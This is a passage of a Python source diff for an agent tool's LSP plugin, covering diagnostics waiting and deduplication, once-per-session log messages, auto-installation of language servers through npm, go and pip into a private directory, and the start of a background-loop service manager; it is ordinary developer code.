pull_task = asyncio.create_task(self._pull_document_diagnostics(abs_path))
|
||||
push_task = asyncio.create_task(self._wait_for_fresh_push(abs_path, version, remaining))
|
||||
done, pending = await asyncio.wait(
|
||||
{pull_task, push_task},
|
||||
timeout=remaining,
|
||||
return_when=asyncio.FIRST_COMPLETED,
|
||||
)
|
||||
for t in pending:
|
||||
t.cancel()
|
||||
for t in pending:
|
||||
try:
|
||||
await t
|
||||
except (asyncio.CancelledError, Exception): # noqa: BLE001
|
||||
pass
|
||||
|
||||
# If we got a fresh push for our version, we're done.
|
||||
current_v = self._published_version.get(abs_path)
|
||||
if abs_path in self._published and (
|
||||
current_v is None or current_v >= version
|
||||
):
|
||||
return
|
||||
|
||||
# Pull may have populated _pull_diagnostics — that's also
|
||||
# success.
|
||||
if abs_path in self._pull_diagnostics:
|
||||
return
|
||||
|
||||
# Loop until budget runs out.
|
||||
|
||||
async def _wait_for_fresh_push(self, path: str, version: int, timeout: float) -> None:
|
||||
"""Wait until a publishDiagnostics arrives for ``path`` at ``version``+."""
|
||||
deadline = asyncio.get_event_loop().time() + timeout
|
||||
baseline = self._push_counter
|
||||
while True:
|
||||
current_v = self._published_version.get(path)
|
||||
if path in self._published and (current_v is None or current_v >= version):
|
||||
# Debounce — wait a tick in case more diagnostics arrive
|
||||
# immediately after. TS often emits in pairs. We
|
||||
# snapshot the counter so we wake on a *new* push, not
|
||||
# on the one that satisfied us a moment ago.
|
||||
debounce_baseline = self._push_counter
|
||||
debounce_deadline = asyncio.get_event_loop().time() + PUSH_DEBOUNCE
|
||||
while self._push_counter == debounce_baseline:
|
||||
remaining = debounce_deadline - asyncio.get_event_loop().time()
|
||||
if remaining <= 0:
|
||||
break
|
||||
self._push_event.clear()
|
||||
try:
|
||||
await asyncio.wait_for(self._push_event.wait(), timeout=remaining)
|
||||
except asyncio.TimeoutError:
|
||||
break
|
||||
return
|
||||
remaining = deadline - asyncio.get_event_loop().time()
|
||||
if remaining <= 0:
|
||||
return
|
||||
if self._push_counter > baseline:
|
||||
# New event arrived but predicate still false — re-check
|
||||
# immediately without waiting again.
|
||||
baseline = self._push_counter
|
||||
continue
|
||||
self._push_event.clear()
|
||||
try:
|
||||
await asyncio.wait_for(self._push_event.wait(), timeout=min(remaining, 0.5))
|
||||
except asyncio.TimeoutError:
|
||||
continue
|
||||
|
||||
def diagnostics_for(self, path: str) -> List[Dict[str, Any]]:
|
||||
"""Return current merged + deduped diagnostics for one file.
|
||||
|
||||
Diagnostics from push and pull stores are concatenated and
|
||||
deduplicated by ``(severity, code, message, range)`` content
|
||||
key. Empty list if the server hasn't published anything.
|
||||
"""
|
||||
abs_path = os.path.abspath(path)
|
||||
push = self._push_diagnostics.get(abs_path) or []
|
||||
pull = self._pull_diagnostics.get(abs_path) or []
|
||||
return _dedupe(push, pull)
|
||||
|
||||
|
||||
def _dedupe(*lists: List[Dict[str, Any]]) -> List[Dict[str, Any]]:
|
||||
seen: Set[str] = set()
|
||||
out: List[Dict[str, Any]] = []
|
||||
for lst in lists:
|
||||
for d in lst:
|
||||
if not isinstance(d, dict):
|
||||
continue
|
||||
key = _diagnostic_key(d)
|
||||
if key in seen:
|
||||
continue
|
||||
seen.add(key)
|
||||
out.append(d)
|
||||
return out
|
||||
|
||||
|
||||
def _diagnostic_key(d: Dict[str, Any]) -> str:
|
||||
"""Content-equality key for a diagnostic.
|
||||
|
||||
Matches the structural-equality used in claude-code's
|
||||
``areDiagnosticsEqual`` — message + severity + source + code +
|
||||
range coords. The range is reduced to a tuple to keep the key
|
||||
stable across dict orderings.
|
||||
"""
|
||||
rng = d.get("range") or {}
|
||||
start = rng.get("start") or {}
|
||||
end = rng.get("end") or {}
|
||||
code = d.get("code")
|
||||
if code is not None and not isinstance(code, str):
|
||||
code = str(code)
|
||||
return "\x00".join(
|
||||
[
|
||||
str(d.get("severity") or 1),
|
||||
str(code or ""),
|
||||
str(d.get("source") or ""),
|
||||
str(d.get("message") or "").strip(),
|
||||
f"{start.get('line', 0)}:{start.get('character', 0)}-{end.get('line', 0)}:{end.get('character', 0)}",
|
||||
]
|
||||
)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"LSPClient",
|
||||
"file_uri",
|
||||
"uri_to_path",
|
||||
"INITIALIZE_TIMEOUT",
|
||||
"DIAGNOSTICS_DOCUMENT_WAIT",
|
||||
"DIAGNOSTICS_FULL_WAIT",
|
||||
]
|
||||
@@ -0,0 +1,213 @@
|
||||
"""Structured logging with steady-state silence for the LSP layer.
|
||||
|
||||
The LSP layer fires on every write_file/patch. In a busy session
|
||||
that's hundreds of events. We want users to be able to ``rg`` the
|
||||
log for "did LSP fire on that edit?" without drowning in noise.
|
||||
|
||||
The level model:
|
||||
|
||||
- ``DEBUG`` for steady-state events that have no novel signal:
|
||||
``clean``, ``feature off``, ``extension not mapped``, ``no project
|
||||
root for already-announced file``, ``server unavailable for
|
||||
already-announced binary``. These never reach ``agent.log`` at the
|
||||
default INFO threshold.
|
||||
|
||||
- ``INFO`` for state transitions worth surfacing exactly once per
|
||||
session: ``active for <root>`` the first time a (server_id,
|
||||
workspace_root) client starts, ``no project root for <path>``
|
||||
the first time we see that file. Plus every diagnostic event
|
||||
(those are inherently rare and per-edit, exactly what users grep
|
||||
for).
|
||||
|
||||
- ``WARNING`` for action-required failures: ``server unavailable``
|
||||
(binary not on PATH) the first time per (server_id, binary),
|
||||
``no server configured`` once per language. Per-call WARNING for
|
||||
timeouts and unexpected bridge exceptions.
|
||||
|
||||
The dedup is in-process module-level sets. Each set grows at most by
|
||||
the number of distinct (server_id, root) and (server_id, binary)
|
||||
pairs touched in one Python process — bytes of memory in even an
|
||||
aggressive monorepo session. Bounded LRU was rejected: evicting an
|
||||
entry would risk re-firing the WARNING/INFO line we explicitly want
|
||||
to suppress.
|
||||
|
||||
Grep recipe::
|
||||
|
||||
tail -f ~/.hermes/logs/agent.log | rg 'lsp\\['
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import threading
|
||||
from typing import Tuple
|
||||
|
||||
# Dedicated logger name so the documented grep recipe survives a
|
||||
# ``logging.getLogger(__name__)`` rename of any internal module.
|
||||
event_log = logging.getLogger("hermes.lint.lsp")
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Once-per-X dedup sets
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_announce_lock = threading.Lock()
|
||||
_announced_active: set = set() # keys: (server_id, workspace_root)
|
||||
_announced_unavailable: set = set() # keys: (server_id, binary_path_or_name)
|
||||
_announced_no_root: set = set() # keys: (server_id, file_path)
|
||||
_announced_no_server: set = set() # keys: (server_id,)
|
||||
|
||||
|
||||
def _short_path(file_path: str) -> str:
|
||||
"""Render *file_path* relative to the cwd when sensible, else absolute.
|
||||
|
||||
Keeps log lines readable for the common case (the user is inside
|
||||
the project they're editing) without emitting brittle ``../../..``
|
||||
chains for the cross-tree case.
|
||||
"""
|
||||
if not file_path:
|
||||
return file_path
|
||||
try:
|
||||
rel = os.path.relpath(file_path)
|
||||
except ValueError:
|
||||
return file_path
|
||||
if rel.startswith(".." + os.sep) or rel == "..":
|
||||
return file_path
|
||||
return rel
|
||||
|
||||
|
||||
def _emit(server_id: str, level: int, message: str) -> None:
|
||||
event_log.log(level, "lsp[%s] %s", server_id, message)
|
||||
|
||||
|
||||
def _announce_once(bucket: set, key: Tuple) -> bool:
|
||||
"""Return True if *key* has not been announced for *bucket* yet.
|
||||
|
||||
Atomically marks the key as announced so concurrent callers
|
||||
cannot both win the race and double-log.
|
||||
"""
|
||||
with _announce_lock:
|
||||
if key in bucket:
|
||||
return False
|
||||
bucket.add(key)
|
||||
return True
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Public event helpers — call these from the LSP layer.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def log_clean(server_id: str, file_path: str) -> None:
|
||||
"""No diagnostics emitted for *file_path*. DEBUG (silent at default)."""
|
||||
_emit(server_id, logging.DEBUG, f"clean ({_short_path(file_path)})")
|
||||
|
||||
|
||||
def log_disabled(server_id: str, file_path: str, reason: str) -> None:
|
||||
"""LSP intentionally skipped for this file (feature off, ext unmapped,
|
||||
backend not local, etc.). DEBUG."""
|
||||
_emit(server_id, logging.DEBUG, f"skipped: {reason} ({_short_path(file_path)})")
|
||||
|
||||
|
||||
def log_active(server_id: str, workspace_root: str) -> None:
|
||||
"""A new LSP client started for (server_id, workspace_root).
|
||||
|
||||
INFO once per (server_id, workspace_root); DEBUG thereafter.
|
||||
Lets users verify "is LSP actually running?" with a single grep.
|
||||
"""
|
||||
key = (server_id, workspace_root)
|
||||
if _announce_once(_announced_active, key):
|
||||
_emit(server_id, logging.INFO, f"active for {workspace_root}")
|
||||
else:
|
||||
_emit(server_id, logging.DEBUG, f"reused client for {workspace_root}")
|
||||
|
||||
|
||||
def log_diagnostics(server_id: str, file_path: str, count: int) -> None:
|
||||
"""Diagnostics arrived for a file. INFO every time — these are the
|
||||
failure signals users actually want to grep for, and they are
|
||||
inherently rare per edit."""
|
||||
_emit(server_id, logging.INFO, f"{count} diags ({_short_path(file_path)})")
|
||||
|
||||
|
||||
def log_no_project_root(server_id: str, file_path: str) -> None:
|
||||
"""File had no recognised project marker. INFO once per file,
|
||||
DEBUG thereafter."""
|
||||
key = (server_id, file_path)
|
||||
if _announce_once(_announced_no_root, key):
|
||||
_emit(server_id, logging.INFO, f"no project root for {_short_path(file_path)}")
|
||||
else:
|
||||
_emit(server_id, logging.DEBUG, f"no project root for {_short_path(file_path)}")
|
||||
|
||||
|
||||
def log_server_unavailable(server_id: str, binary_or_pkg: str) -> None:
|
||||
"""The server binary couldn't be resolved. WARNING once per
|
||||
(server_id, binary), DEBUG thereafter so a hundred subsequent
|
||||
.py edits don't spam the log."""
|
||||
key = (server_id, binary_or_pkg)
|
||||
if _announce_once(_announced_unavailable, key):
|
||||
_emit(
|
||||
server_id,
|
||||
logging.WARNING,
|
||||
f"server unavailable: {binary_or_pkg} not found "
|
||||
"(install via `hermes lsp install <id>` or set lsp.servers.<id>.command)",
|
||||
)
|
||||
else:
|
||||
_emit(server_id, logging.DEBUG, f"server still unavailable: {binary_or_pkg}")
|
||||
|
||||
|
||||
def log_no_server_configured(server_id: str) -> None:
|
||||
"""No spawn recipe for this language. WARNING once."""
|
||||
if _announce_once(_announced_no_server, (server_id,)):
|
||||
_emit(server_id, logging.WARNING, "no server configured")
|
||||
|
||||
|
||||
def log_timeout(server_id: str, file_path: str, kind: str = "diagnostics") -> None:
|
||||
"""A request to the server timed out. WARNING every time — these are
|
||||
inherently novel events worth surfacing on each occurrence."""
|
||||
_emit(
|
||||
server_id,
|
||||
logging.WARNING,
|
||||
f"{kind} timed out for {_short_path(file_path)}",
|
||||
)
|
||||
|
||||
|
||||
def log_server_error(server_id: str, file_path: str, exc: BaseException) -> None:
|
||||
"""An unexpected exception bubbled out of the LSP layer. WARNING."""
|
||||
_emit(
|
||||
server_id,
|
||||
logging.WARNING,
|
||||
f"unexpected error for {_short_path(file_path)}: {type(exc).__name__}: {exc}",
|
||||
)
|
||||
|
||||
|
||||
def log_spawn_failed(server_id: str, workspace_root: str, exc: BaseException) -> None:
|
||||
"""The LSP server failed to spawn or initialize. WARNING."""
|
||||
_emit(
|
||||
server_id,
|
||||
logging.WARNING,
|
||||
f"spawn/initialize failed for {workspace_root}: {type(exc).__name__}: {exc}",
|
||||
)
|
||||
|
||||
|
||||
def reset_announce_caches() -> None:
|
||||
"""Test-only: clear the dedup caches. Production code never calls this."""
|
||||
with _announce_lock:
|
||||
_announced_active.clear()
|
||||
_announced_unavailable.clear()
|
||||
_announced_no_root.clear()
|
||||
_announced_no_server.clear()
|
||||
|
||||
|
||||
__all__ = [
|
||||
"event_log",
|
||||
"log_clean",
|
||||
"log_disabled",
|
||||
"log_active",
|
||||
"log_diagnostics",
|
||||
"log_no_project_root",
|
||||
"log_server_unavailable",
|
||||
"log_no_server_configured",
|
||||
"log_timeout",
|
||||
"log_server_error",
|
||||
"log_spawn_failed",
|
||||
"reset_announce_caches",
|
||||
]
|
||||
@@ -0,0 +1,347 @@
|
||||
"""Auto-installation of LSP server binaries.
|
||||
|
||||
Tries to install missing servers using whatever package manager is
|
||||
appropriate. All installs go to a Hermes-owned bin staging dir,
|
||||
``<HERMES_HOME>/lsp/bin/``, so we don't pollute the user's global
|
||||
toolchain.
|
||||
|
||||
Strategies:
|
||||
|
||||
- ``auto`` — attempt to install with the best available package
|
||||
manager. This is the default.
|
||||
- ``manual`` — never install; if a binary is missing, the server is
|
||||
silently skipped and the user is told about it via ``hermes lsp
|
||||
status``.
|
||||
- ``off`` — same as ``manual`` for now (kept distinct so we can
|
||||
evolve behavior later, e.g. logging differently).
|
||||
|
||||
The actual installs happen synchronously the first time a server is
|
||||
needed and concurrent calls to :func:`try_install` for the same
|
||||
package are deduplicated via a per-package lock.
|
||||
|
||||
Failure modes are non-fatal: every install path is wrapped in
|
||||
try/except and returns ``None`` on failure. The tool layer then
|
||||
falls back to its in-process syntax checker, exactly as if the user
|
||||
hadn't enabled LSP at all.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
from pathlib import Path
|
||||
from typing import Dict, Optional
|
||||
|
||||
logger = logging.getLogger("agent.lsp.install")
|
||||
|
||||
# Package-name → install-strategy hint registry. Each entry is a
|
||||
# tuple of strategy name + package name + executable name. When the
|
||||
# install completes, we look for the executable in
|
||||
# ``<HERMES_HOME>/lsp/bin/`` first, then on PATH.
|
||||
INSTALL_RECIPES: Dict[str, Dict[str, str]] = {
|
||||
# Python
|
||||
"pyright": {"strategy": "npm", "pkg": "pyright", "bin": "pyright-langserver"},
|
||||
# JS/TS family
|
||||
"typescript-language-server": {
|
||||
"strategy": "npm",
|
||||
"pkg": "typescript-language-server",
|
||||
"bin": "typescript-language-server",
|
||||
},
|
||||
"@vue/language-server": {
|
||||
"strategy": "npm",
|
||||
"pkg": "@vue/language-server",
|
||||
"bin": "vue-language-server",
|
||||
},
|
||||
"svelte-language-server": {
|
||||
"strategy": "npm",
|
||||
"pkg": "svelte-language-server",
|
||||
"bin": "svelteserver",
|
||||
},
|
||||
"@astrojs/language-server": {
|
||||
"strategy": "npm",
|
||||
"pkg": "@astrojs/language-server",
|
||||
"bin": "astro-ls",
|
||||
},
|
||||
"yaml-language-server": {
|
||||
"strategy": "npm",
|
||||
"pkg": "yaml-language-server",
|
||||
"bin": "yaml-language-server",
|
||||
},
|
||||
"bash-language-server": {
|
||||
"strategy": "npm",
|
||||
"pkg": "bash-language-server",
|
||||
"bin": "bash-language-server",
|
||||
},
|
||||
"intelephense": {"strategy": "npm", "pkg": "intelephense", "bin": "intelephense"},
|
||||
"dockerfile-language-server-nodejs": {
|
||||
"strategy": "npm",
|
||||
"pkg": "dockerfile-language-server-nodejs",
|
||||
"bin": "docker-langserver",
|
||||
},
|
||||
# Go
|
||||
"gopls": {"strategy": "go", "pkg": "golang.org/x/tools/gopls@latest", "bin": "gopls"},
|
||||
# Rust — too heavy (hundreds of MB to bootstrap). We do NOT
|
||||
# auto-install rust-analyzer; users install via rustup.
|
||||
"rust-analyzer": {"strategy": "manual", "pkg": "", "bin": "rust-analyzer"},
|
||||
# C/C++ — manual (clangd ships with LLVM, very heavy)
|
||||
"clangd": {"strategy": "manual", "pkg": "", "bin": "clangd"},
|
||||
# Lua — manual (LuaLS is platform-specific binaries from GitHub
|
||||
# releases; complex enough that we punt to the user)
|
||||
"lua-language-server": {"strategy": "manual", "pkg": "", "bin": "lua-language-server"},
|
||||
}
|
||||
|
||||
|
||||
_install_locks: Dict[str, threading.Lock] = {}
|
||||
_install_results: Dict[str, Optional[str]] = {}
|
||||
_install_lock_meta = threading.Lock()
|
||||
|
||||
|
||||
def hermes_lsp_bin_dir() -> Path:
|
||||
"""Return the Hermes-owned bin staging dir for LSP servers."""
|
||||
home = os.environ.get("HERMES_HOME")
|
||||
if home is None:
|
||||
home = os.path.join(os.path.expanduser("~"), ".hermes")
|
||||
p = Path(home) / "lsp" / "bin"
|
||||
p.mkdir(parents=True, exist_ok=True)
|
||||
return p
|
||||
|
||||
|
||||
def _existing_binary(name: str) -> Optional[str]:
|
||||
"""Probe the staging dir + PATH for a binary named ``name``."""
|
||||
staged = hermes_lsp_bin_dir() / name
|
||||
if staged.exists() and os.access(staged, os.X_OK):
|
||||
return str(staged)
|
||||
on_path = shutil.which(name)
|
||||
if on_path:
|
||||
return on_path
|
||||
return None
|
||||
|
||||
|
||||
def _get_lock(pkg: str) -> threading.Lock:
|
||||
with _install_lock_meta:
|
||||
lock = _install_locks.get(pkg)
|
||||
if lock is None:
|
||||
lock = threading.Lock()
|
||||
_install_locks[pkg] = lock
|
||||
return lock
|
||||
|
||||
|
||||
def try_install(pkg: str, strategy: str = "auto") -> Optional[str]:
|
||||
"""Try to install ``pkg`` and return the binary path if successful.
|
||||
|
||||
``strategy`` is ``"auto"``, ``"manual"``, or ``"off"``. In
|
||||
``manual``/``off`` mode, this function only probes for an
|
||||
existing binary and returns ``None`` if not found.
|
||||
|
||||
The install is cached per-package — a second call returns the
|
||||
same path (or ``None``) without reinstalling. Concurrent calls
|
||||
are serialized.
|
||||
"""
|
||||
if strategy not in ("auto",):
|
||||
# Only ``auto`` triggers an actual install. In manual/off,
|
||||
# we still check whether the binary already exists.
|
||||
recipe = INSTALL_RECIPES.get(pkg, {})
|
||||
bin_name = recipe.get("bin", pkg)
|
||||
return _existing_binary(bin_name)
|
||||
|
||||
if pkg in _install_results:
|
||||
return _install_results[pkg]
|
||||
|
||||
lock = _get_lock(pkg)
|
||||
with lock:
|
||||
# Double-check after acquiring lock.
|
||||
if pkg in _install_results:
|
||||
return _install_results[pkg]
|
||||
result = _do_install(pkg)
|
||||
_install_results[pkg] = result
|
||||
return result
|
||||
|
||||
|
||||
def _do_install(pkg: str) -> Optional[str]:
|
||||
recipe = INSTALL_RECIPES.get(pkg)
|
||||
if recipe is None:
|
||||
# Not in our registry — best-effort: just probe PATH.
|
||||
return shutil.which(pkg)
|
||||
|
||||
strategy = recipe.get("strategy", "manual")
|
||||
bin_name = recipe.get("bin", pkg)
|
||||
|
||||
# Check if already present (shutil.which or staging dir)
|
||||
existing = _existing_binary(bin_name)
|
||||
if existing:
|
||||
return existing
|
||||
|
||||
if strategy == "manual":
|
||||
logger.debug("[install] %s requires manual install (recipe=%s)", pkg, recipe)
|
||||
return None
|
||||
|
||||
if strategy == "npm":
|
||||
return _install_npm(recipe.get("pkg", pkg), bin_name)
|
||||
if strategy == "go":
|
||||
return _install_go(recipe.get("pkg", pkg), bin_name)
|
||||
if strategy == "pip":
|
||||
return _install_pip(recipe.get("pkg", pkg), bin_name)
|
||||
|
||||
logger.warning("[install] unknown strategy %r for %s", strategy, pkg)
|
||||
return None
|
||||
|
||||
|
||||
def _install_npm(pkg: str, bin_name: str) -> Optional[str]:
|
||||
"""Install an npm package into our staging dir.
|
||||
|
||||
Uses ``npm install --prefix`` so the binaries land in
|
||||
``<staging>/node_modules/.bin/<bin_name>`` and we symlink them up
|
||||
one level for direct PATH-style access.
|
||||
"""
|
||||
npm = shutil.which("npm")
|
||||
if npm is None:
|
||||
logger.info("[install] cannot install %s: npm not on PATH", pkg)
|
||||
return None
|
||||
staging = hermes_lsp_bin_dir().parent # <HERMES_HOME>/lsp/
|
||||
try:
|
||||
logger.info("[install] npm install --prefix %s %s", staging, pkg)
|
||||
proc = subprocess.run(
|
||||
[npm, "install", "--prefix", str(staging), "--silent", "--no-fund", "--no-audit", pkg],
|
||||
check=False,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=300,
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
logger.warning(
|
||||
"[install] npm install failed for %s: %s", pkg, proc.stderr.strip()[:500]
|
||||
)
|
||||
return None
|
||||
except (subprocess.TimeoutExpired, OSError) as e:
|
||||
logger.warning("[install] npm install errored for %s: %s", pkg, e)
|
||||
return None
|
||||
|
||||
# Find the bin
|
||||
nm_bin = staging / "node_modules" / ".bin" / bin_name
|
||||
if os.name == "nt":
|
||||
# On Windows npm sometimes drops `.cmd` shims
|
||||
candidates = [nm_bin, nm_bin.with_suffix(".cmd")]
|
||||
else:
|
||||
candidates = [nm_bin]
|
||||
for c in candidates:
|
||||
if c.exists():
|
||||
# Symlink into our `lsp/bin/` for stable PATH access.
|
||||
link = hermes_lsp_bin_dir() / c.name
|
||||
if not link.exists():
|
||||
try:
|
||||
link.symlink_to(c)
|
||||
except (OSError, NotImplementedError):
|
||||
# Symlinks fail on some Windows setups — copy instead.
|
||||
try:
|
||||
shutil.copy2(c, link)
|
||||
except OSError:
|
||||
return str(c)
|
||||
return str(link if link.exists() else c)
|
||||
logger.warning("[install] npm install for %s succeeded but bin %s not found", pkg, bin_name)
|
||||
return None
|
||||
|
||||
|
||||
def _install_go(pkg: str, bin_name: str) -> Optional[str]:
|
||||
"""Install a Go module to GOBIN=<staging>."""
|
||||
go = shutil.which("go")
|
||||
if go is None:
|
||||
logger.info("[install] cannot install %s: go not on PATH", pkg)
|
||||
return None
|
||||
staging = hermes_lsp_bin_dir()
|
||||
env = dict(os.environ)
|
||||
env["GOBIN"] = str(staging)
|
||||
try:
|
||||
logger.info("[install] go install %s (GOBIN=%s)", pkg, staging)
|
||||
proc = subprocess.run(
|
||||
[go, "install", pkg],
|
||||
check=False,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=600,
|
||||
env=env,
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
logger.warning(
|
||||
"[install] go install failed for %s: %s", pkg, proc.stderr.strip()[:500]
|
||||
)
|
||||
return None
|
||||
except (subprocess.TimeoutExpired, OSError) as e:
|
||||
logger.warning("[install] go install errored for %s: %s", pkg, e)
|
||||
return None
|
||||
bin_path = staging / bin_name
|
||||
if os.name == "nt":
|
||||
bin_path = bin_path.with_suffix(".exe")
|
||||
if bin_path.exists():
|
||||
return str(bin_path)
|
||||
logger.warning("[install] go install for %s succeeded but bin %s not found", pkg, bin_name)
|
||||
return None
|
||||
|
||||
|
||||
def _install_pip(pkg: str, bin_name: str) -> Optional[str]:
|
||||
"""Install a Python package into a hermes-owned target dir.
|
||||
|
||||
We avoid polluting the user's site-packages by using
|
||||
``pip install --target``. Bins go into
|
||||
``<staging>/python-packages/bin/`` which we symlink into
|
||||
``<staging>/bin``. Note: this only works for packages that ship a
|
||||
console script.
|
||||
"""
|
||||
pip_target = hermes_lsp_bin_dir().parent / "python-packages"
|
||||
pip_target.mkdir(parents=True, exist_ok=True)
|
||||
try:
|
||||
logger.info("[install] pip install --target %s %s", pip_target, pkg)
|
||||
proc = subprocess.run(
|
||||
[sys.executable, "-m", "pip", "install", "--target", str(pip_target), "--quiet", pkg],
|
||||
check=False,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=300,
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
logger.warning(
|
||||
"[install] pip install failed for %s: %s", pkg, proc.stderr.strip()[:500]
|
||||
)
|
||||
return None
|
||||
except (subprocess.TimeoutExpired, OSError) as e:
|
||||
logger.warning("[install] pip install errored for %s: %s", pkg, e)
|
||||
return None
|
||||
# Look for the script
|
||||
bin_path = pip_target / "bin" / bin_name
|
||||
if bin_path.exists():
|
||||
link = hermes_lsp_bin_dir() / bin_name
|
||||
if not link.exists():
|
||||
try:
|
||||
link.symlink_to(bin_path)
|
||||
except (OSError, NotImplementedError):
|
||||
try:
|
||||
shutil.copy2(bin_path, link)
|
||||
except OSError:
|
||||
return str(bin_path)
|
||||
return str(link if link.exists() else bin_path)
|
||||
return None
|
||||
|
||||
|
||||
def detect_status(pkg: str) -> str:
|
||||
"""Return ``installed``, ``missing``, or ``manual-only`` for a package.
|
||||
|
||||
Used by the ``hermes lsp status`` CLI to give users a quick
|
||||
overview of what's available without spawning anything.
|
||||
"""
|
||||
recipe = INSTALL_RECIPES.get(pkg)
|
||||
bin_name = recipe.get("bin", pkg) if recipe else pkg
|
||||
if _existing_binary(bin_name):
|
||||
return "installed"
|
||||
if recipe and recipe.get("strategy") == "manual":
|
||||
return "manual-only"
|
||||
return "missing"
|
||||
|
||||
|
||||
__all__ = [
|
||||
"INSTALL_RECIPES",
|
||||
"try_install",
|
||||
"detect_status",
|
||||
"hermes_lsp_bin_dir",
|
||||
]
|
||||
@@ -0,0 +1,536 @@
|
||||
"""Service-level orchestration for LSP clients.
|
||||
|
||||
The :class:`LSPService` is the bridge between the synchronous
|
||||
file_operations layer and the async :class:`agent.lsp.client.LSPClient`.
|
||||
|
||||
Design choices:
|
||||
|
||||
- A **single asyncio event loop** runs in a background thread. All
|
||||
client work happens on that loop. Synchronous callers from
|
||||
``tools/file_operations.py`` use :meth:`get_diagnostics_sync` to
|
||||
open + wait + drain in one blocking call.
|
||||
|
||||
- One client per ``(server_id, workspace_root)`` key. Lazy spawn:
|
||||
the first request for a key spawns the client; subsequent requests
|
||||
re-use it.
|
||||
|
||||
- A **broken-set** records ``(server_id, workspace_root)`` pairs that
|
||||
failed to spawn or initialize. These are never retried for the
|
||||
life of the service. Mirrors OpenCode's design.
|
||||
|
||||
- A **delta baseline** map keeps "diagnostics-as-of-the-last-snapshot"
|
||||
per file. ``snapshot_baseline()`` is called BEFORE a write; the
|
||||
next ``get_diagnostics_sync()`` returns only diagnostics that
|
||||
weren't in the baseline. This is the lift from Claude Code's
|
||||
``beforeFileEdited`` / ``getNewDiagnostics`` pattern, except wired
|
||||
to the local LSP layer instead of MCP IDE RPC.
|
||||
|
||||
The service is **off by default** — call :meth:`is_active` to check
|
||||
whether it's actually doing anything. When LSP is disabled in
|
||||
config, when no git workspace can be detected, when all configured
|
||||
servers are missing binaries and auto-install is off, ``is_active``
|
||||
returns False and the file_operations layer falls through to the
|
||||
in-process syntax check.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import threading
|
||||
import time
|
||||
from concurrent.futures import Future as ConcurrentFuture
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
|
||||
from plugins.lsp import eventlog
|
||||
from plugins.lsp.client import (
|
||||
DIAGNOSTICS_DOCUMENT_WAIT,
|
||||
LSPClient,
|
||||
file_uri,
|
||||
)
|
||||
from plugins.lsp.servers import (
|
||||
ServerContext,
|
||||
ServerDef,
|
||||
SpawnSpec,
|
||||
find_server_for_file,
|
||||
language_id_for,
|
||||
)
|
||||
from plugins.lsp.workspace import (
|
||||
clear_cache,
|
||||
is_inside_workspace,
|
||||
resolve_workspace_for_file,
|
||||
)
|
||||
|
||||
logger = logging.getLogger("agent.lsp.manager")
|
||||
|
||||
DEFAULT_IDLE_TIMEOUT = 600 # seconds; servers idle for >10min get reaped
|
||||
|
||||
|
||||
class _BackgroundLoop:
|
||||
"""A daemon thread that owns one asyncio event loop.
|
||||
|
||||
Provides :meth:`run` for synchronous callers — submits a coroutine
|
||||
to the loop and blocks until it finishes (or a timeout fires).
|
||||
"""
|
||||
|
||||
def __init__(self) -> None:
|
||||
self._loop: Optional[asyncio.AbstractEventLoop] = None
|
||||
self._thread: Optional[threading.Thread] = None
|
||||
self._ready = threading.Event()
|
||||
|
||||
def start(self) -> None:
|
||||
if self._thread is not None:
|
||||
return
|
||||
self._thread = threading.Thread(
|
||||
target=self._run_forever,
|
||||
name="hermes-lsp-loop",
|
||||
daemon=True,
|
||||
)
|
||||
self._thread.start()
|
||||
self._ready.wait(timeout=5.0)
|
||||
|
||||
def _run_forever(self) -> None:
|
||||
loop = asyncio.new_event_loop()
|
||||
self._loop = loop
|
||||
asyncio.set_event_loop(loop)
|
||||
self._ready.set()
|
||||
try:
|
||||
loop.run_forever()
|
||||
finally:
|
||||
try:
|
||||
loop.close()
|
||||
except Exception: # noqa: BLE001
|
||||
pass
|
||||
|
||||
def run(self, coro, *, timeout: Optional[float] = None) -> Any:
|
||||
"""Submit a coroutine to the loop and block until done.
|
||||
|
||||
Returns the coroutine's result, or raises its exception.
|
||||
"""
|
||||
if self._loop is None:
|
||||
raise RuntimeError("background loop not started")
|
||||
fut: ConcurrentFuture = asyncio.run_coroutine_threadsafe(coro, self._loop)
|
||||
try:
|
||||
return fut.result(timeout=timeout)
|
||||
except Exception:
|
||||
fut.cancel()
|
||||
raise
|
||||
|
||||
def stop(self) -> None:
|
||||
loop = self._loop
|
||||
if loop is None:
|
||||
return
|
||||
try:
|
||||
loop.call_soon_threadsafe(loop.stop)
|
||||
except RuntimeError:
|
||||
pass
|
||||
if self._thread is not None:
|
||||
self._thread.join(timeout=2.0)
|
||||
self._loop = None
|
||||
self._thread = None
|
||||
|
||||
|
||||
class LSPService:
|
||||
"""The process-wide LSP service.
|
||||
|
||||
Created once via :meth:`create_from_config`; the
|
||||
:func:`agent.lsp.get_service` accessor manages the singleton.
|
||||
Most callers should use that accessor rather than constructing
|
||||
:class:`LSPService` directly.
|
||||
"""
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# construction + factory
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
enabled: bool,
|
||||
wait_mode: str,
|
||||
wait_timeout: float,
|
||||
install_strategy: str,
|
||||
binary_overrides: Optional[Dict[str, List[str]]] = None,
|
||||
env_overrides: Optional[Dict[str, Dict[str, str]]] = None,
|
||||
init_overrides: Optional[Dict[str, Dict[str, Any]]] = None,
|
||||
disabled_servers: Optional[List[str]] = None,
|
||||
idle_timeout: float = DEFAULT_IDLE_TIMEOUT,
|
||||
) -> None:
|
||||
